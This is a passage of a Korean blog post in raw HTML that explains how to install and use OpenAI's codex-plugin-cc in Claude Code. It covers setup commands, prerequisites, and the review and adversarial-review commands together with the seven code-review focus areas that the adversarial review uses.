&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;MCP 도구 호출&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;라이프사이클 훅&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;SessionStart/SessionEnd/Stop 훅 내장&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;해당 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Review Gate&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Stop 훅 기반 자동 리뷰 게이트&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;해당 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;배포&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;marketplace add&lt;/code&gt; 한 줄&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;MCP 서버 설정 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;한 줄 요약: codex-plugin-cc는 MCP 프로토콜이 아닌 Claude Code의 네이티브 Plugin System을 사용하여, 명령어&amp;middot;훅&amp;middot;에이전트&amp;middot;스킬을 선언적으로 정의하는 방식이다. MCP 접근보다 Claude Code 생태계에 깊이 통합된다.&lt;!-- 목차 박스 --&gt;&lt;/p&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 2 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 설치 및 시작하기&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2038&quot; data-origin-height=&quot;1096&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bXskqg/dJMcagrq4NC/8RlzJkpi7K6nOvN0c4lvx0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bXskqg/dJMcagrq4NC/8RlzJkpi7K6nOvN0c4lvx0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bXskqg/dJMcagrq4NC/8RlzJkpi7K6nOvN0c4lvx0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbXskqg%2FdJMcagrq4NC%2F8RlzJkpi7K6nOvN0c4lvx0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2038&quot; height=&quot;1096&quot; data-origin-width=&quot;2038&quot; data-origin-height=&quot;1096&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;설치 플로우는 4단계다.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 1) 마켓플레이스에 리포지토리 추가
/plugin marketplace add openai/codex-plugin-cc

# 2) codex 플러그인 설치
/plugin install codex@openai-codex

# 3) 플러그인 리로드
/reload-plugins

# 4) 셋업 실행 (Codex CLI 설치 + 인증 확인)
/codex:setup&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 마지막에 나오는 선택사항을 설정시 Stop 훅 기반 Review Gate가 활성화되면 Claude Code가 멈출 때마다 Codex 리뷰가 트리거된다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;910&quot; data-origin-height=&quot;422&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/stAPp/dJMcaaLxlrT/Xj9GrKKkgphpX546eqHmK0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/stAPp/dJMcaaLxlrT/Xj9GrKKkgphpX546eqHmK0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/stAPp/dJMcaaLxlrT/Xj9GrKKkgphpX546eqHmK0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FstAPp%2FdJMcaaLxlrT%2FXj9GrKKkgphpX546eqHmK0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;910&quot; height=&quot;422&quot; data-origin-width=&quot;910&quot; data-origin-height=&quot;422&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1612&quot; data-origin-height=&quot;570&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bk3Y6z/dJMcacbvCqI/gKtd4SuhfElinfU1MWGD81/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bk3Y6z/dJMcacbvCqI/gKtd4SuhfElinfU1MWGD81/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bk3Y6z/dJMcacbvCqI/gKtd4SuhfElinfU1MWGD81/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbk3Y6z%2FdJMcacbvCqI%2FgKtd4SuhfElinfU1MWGD81%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1612&quot; height=&quot;570&quot; data-origin-width=&quot;1612&quot; data-origin-height=&quot;570&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;사전 요구사항&lt;/h3&gt;
&lt;ul style=&quot;margin: 10px 0; padding-left: 25px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;b&gt;Node.js 18.18 이상&lt;/b&gt; &amp;mdash; &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://raw.githubusercontent.com/openai/codex-plugin-cc/main/package.json&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;package.json&lt;/a&gt;에 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;&quot;engines&quot;: {&quot;node&quot;: &quot;&amp;gt;=18.18.0&quot;}&lt;/code&gt;으로 명시되어 있다.&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;b&gt;ChatGPT 구독 또는 OpenAI API 키&lt;/b&gt; &amp;mdash; 사용량은 Codex 한도에 포함된다. Claude Code 구독과는 별도이므로, Anthropic + OpenAI 이중 비용이 발생한다.&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;b&gt;Codex CLI&lt;/b&gt; &amp;mdash; &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:setup&lt;/code&gt;을 실행하면 Codex가 미설치 시 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;npm install -g @openai/codex&lt;/code&gt; 설치를 제안하고, 미인증 시 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;!codex login&lt;/code&gt;(Claude Code 셸 이스케이프)을 안내한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이중 구독 비용 주의&lt;/b&gt; &amp;mdash; 이 플러그인을 사용하려면 Claude Code 구독(Anthropic)과 ChatGPT/OpenAI API 구독을 모두 유지해야 한다. 비용 관리에 유의하자.&lt;/p&gt;
&lt;/div&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 3 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 주요 명령어 상세 (7개)&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;플러그인은 7개 슬래시 명령어를 제공한다. 각각의 동작과 옵션을 정리한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2006&quot; data-origin-height=&quot;1076&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VrPyk/dJMcaaLxlBa/gWYpe5KREZKjWSl30sODg0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VrPyk/dJMcaaLxlBa/gWYpe5KREZKjWSl30sODg0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VrPyk/dJMcaaLxlBa/gWYpe5KREZKjWSl30sODg0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVrPyk%2FdJMcaaLxlBa%2FgWYpe5KREZKjWSl30sODg0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2006&quot; height=&quot;1076&quot; data-origin-width=&quot;2006&quot; data-origin-height=&quot;1076&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2010&quot; data-origin-height=&quot;1090&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b6h4sY/dJMcabwS5a9/mpOibdCWZUkGkvyDDkXrc0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b6h4sY/dJMcabwS5a9/mpOibdCWZUkGkvyDDkXrc0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b6h4sY/dJMcabwS5a9/mpOibdCWZUkGkvyDDkXrc0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb6h4sY%2FdJMcabwS5a9%2FmpOibdCWZUkGkvyDDkXrc0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2010&quot; height=&quot;1090&quot; data-origin-width=&quot;2010&quot; data-origin-height=&quot;1090&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3-1. /codex:review &amp;mdash; 코드 리뷰&lt;/h3&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;Codex 내장 리뷰어를 사용하여 커밋되지 않은 변경이나 브랜치 비교에 대해 코드 리뷰를 실행한다. &lt;b&gt;read-only&lt;/b&gt;로 동작하며, 코드를 직접 수정하지 않는다.&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0; padding-left: 25px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--wait&lt;/code&gt; / &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--background&lt;/code&gt; &amp;mdash; 동기/비동기 실행. 리뷰 크기를 추정하여 1~2개 파일의 작은 리뷰를 제외하면 background 실행을 권장한다.&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;--base &amp;lt;ref&amp;gt;&lt;/code&gt; &amp;mdash; 비교 기준 브랜치/커밋 지정.&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;포커스 텍스트를 지원하지 않는다. 특정 영역을 집중 검토하거나 커스텀 지시가 필요하면 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:adversarial-review&lt;/code&gt;를 사용한다. (&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;review.md&lt;/code&gt; 소스 검증 완료)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;ex) Codex 코드 리뷰 : &lt;b&gt;read-only로 함부로 소스 수정까지 하지 않는다.&lt;/b&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1874&quot; data-origin-height=&quot;1164&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HjQ9f/dJMcagdVmVY/an2kADm5GZKe3AXHtkN2L1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HjQ9f/dJMcagdVmVY/an2kADm5GZKe3AXHtkN2L1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HjQ9f/dJMcagdVmVY/an2kADm5GZKe3AXHtkN2L1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHjQ9f%2FdJMcagdVmVY%2Fan2kADm5GZKe3AXHtkN2L1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1874&quot; height=&quot;1164&quot; data-origin-width=&quot;1874&quot; data-origin-height=&quot;1164&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2192&quot; data-origin-height=&quot;1044&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Hhlb0/dJMcafF459w/GFcpzWJ8Y7hFTzNKe7AZyk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Hhlb0/dJMcafF459w/GFcpzWJ8Y7hFTzNKe7AZyk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Hhlb0/dJMcafF459w/GFcpzWJ8Y7hFTzNKe7AZyk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHhlb0%2FdJMcafF459w%2FGFcpzWJ8Y7hFTzNKe7AZyk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2192&quot; height=&quot;1044&quot; data-origin-width=&quot;2192&quot; data-origin-height=&quot;1044&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3-2. /codex:adversarial-review &amp;mdash; 도전적 리뷰&lt;/h3&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;구현 방식과 설계 결정을 도전적으로 질문하는 리뷰를 수행한다. review와 마찬가지로 &lt;b&gt;read-only&lt;/b&gt;이다. &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:review&lt;/code&gt;와 달리 &lt;b&gt;플래그 뒤에 포커스 텍스트를 자유롭게 추가&lt;/b&gt;할 수 있다. 포커스 텍스트를 지정하면 해당 영역에 가중치를 두고, 나머지 공격 면도 함께 검토한다. (&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;adversarial-review.md&lt;/code&gt; 소스 검증 완료)&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 10px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 포커스 텍스트 없이 &amp;mdash; 7개 공격 면 전체를 균등하게 검토
/codex:adversarial-review --base HEAD~2

# 특정 기능 흐름 집중 &amp;mdash; 해당 영역에 가중치, 나머지도 함께 검토
/codex:adversarial-review --base HEAD~2 Cohort 등록/수정 모달의 상태 관리와 API 호출 흐름

# 보안/권한 집중
/codex:adversarial-review 인증 미들웨어와 API 권한 처리 누락 여부

# 대규모 변경은 백그라운드로
/codex:adversarial-review --background 타입 정의와 실제 API 스펙 일치 여부&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;ex) /codex:adversarial-review&amp;nbsp;--base&amp;nbsp;HEAD~2&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;826&quot; data-origin-height=&quot;422&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ccrbG8/dJMcajhnWPQ/gWUGepIqLPhR2nLT0MDIRK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ccrbG8/dJMcajhnWPQ/gWUGepIqLPhR2nLT0MDIRK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ccrbG8/dJMcajhnWPQ/gWUGepIqLPhR2nLT0MDIRK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FccrbG8%2FdJMcajhnWPQ%2FgWUGepIqLPhR2nLT0MDIRK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;455&quot; height=&quot;232&quot; data-origin-width=&quot;826&quot; data-origin-height=&quot;422&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 이후 2개의&amp;nbsp; 이력기준으로 분석하고 내용을 알려준다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1292&quot; data-origin-height=&quot;568&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dUNlwY/dJMcaaLy1JO/RU2zWBAKesf1dkreGk39b0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dUNlwY/dJMcaaLy1JO/RU2zWBAKesf1dkreGk39b0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dUNlwY/dJMcaaLy1JO/RU2zWBAKesf1dkreGk39b0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdUNlwY%2FdJMcaaLy1JO%2FRU2zWBAKesf1dkreGk39b0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1292&quot; height=&quot;568&quot; data-origin-width=&quot;1292&quot; data-origin-height=&quot;568&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://raw.githubusercontent.com/openai/codex-plugin-cc/main/plugins/codex/prompts/adversarial-review.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;adversarial-review 프롬프트&lt;/a&gt;가 질문하는 핵심 축:&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0; padding-left: 25px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;현재 접근 방식이 올바른지&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;어떤 가정에 의존하는지&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;실제 조건에서 설계가 어디서 실패할 수 있는지&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2024&quot; data-origin-height=&quot;1102&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8xGky/dJMcabXYHpY/zN9Pq4wj9BiVMLK5GOdTkk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8xGky/dJMcabXYHpY/zN9Pq4wj9BiVMLK5GOdTkk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8xGky/dJMcabXYHpY/zN9Pq4wj9BiVMLK5GOdTkk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8xGky%2FdJMcabXYHpY%2FzN9Pq4wj9BiVMLK5GOdTkk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2024&quot; height=&quot;1102&quot; data-origin-width=&quot;2024&quot; data-origin-height=&quot;1102&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;7개 공격 면(attack surface)이 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://raw.githubusercontent.com/openai/codex-plugin-cc/main/plugins/codex/prompts/adversarial-review.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;프롬프트에 정의&lt;/a&gt;되어 있다:&lt;/p&gt;
&lt;ol style=&quot;margin: 10px 0; padding-left: 25px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;인증, 권한, 테넌트 격리, 신뢰 경계 (Authentication, permissions, tenant isolation, trust boundaries)&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;데이터 손실, 오염, 중복, 비가역 상태 변경 (Data loss, corruption, duplication, irreversible state changes)&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;롤백 안전성, 재시도, 부분 실패, 멱등성 갭 (Rollback safety, retries, partial failure, idempotency gaps)&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;레이스 컨디션, 순서 가정, 스테일 상태, 재진입 (Race conditions, ordering assumptions, stale state, re-entrancy)&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;빈 상태, null, 타임아웃, 의존성 저하 동작 (Empty-state, null, timeout, degraded dependency behavior)&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;버전 스큐, 스키마 드리프트, 마이그레이션 위험, 호환성 회귀 (Version skew, schema drift, migration hazards, compatibility regressions)&lt;/li&gt;
&lt;li style=&quot;margin: 5px 0;&quot;&gt;관찰성 갭 (Observability gaps)&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;인사이트 ①: 어떤 리뷰 종류를 선택할까? (review vs adversarial-review)&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;권장 명령어&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;PR 머지 전 일반 리뷰&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/codex:review&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;표준 코드 품질 점검에 적합&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;아키텍처 변경 리뷰&lt;/td&gt;
